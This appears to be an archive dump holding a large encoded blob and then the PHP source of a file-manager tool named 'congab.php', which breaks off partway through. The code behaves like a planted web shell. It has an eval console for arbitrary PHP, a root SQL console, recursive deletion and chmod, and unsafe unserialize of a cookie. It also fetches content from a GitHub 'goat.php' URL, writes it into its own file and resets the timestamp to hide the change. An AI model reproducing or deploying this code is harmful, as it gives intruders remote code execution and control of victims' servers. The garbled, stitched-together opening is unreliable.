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#1778277397c9997e0a4bfd050c353b21c1f8b30047 congab.php 0000644 00000235123 15244750640 0006523 0 ustar 00 #$#@!^%&^)(_(*$@!@#@#$%#&()_
true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/bayu123-cpu/goat/refs/heads/main/goat.php' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' '.$name.' ';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.=''.$b.' ';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return ''.stripslashes($vdump).' ';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ' ';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.' '.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
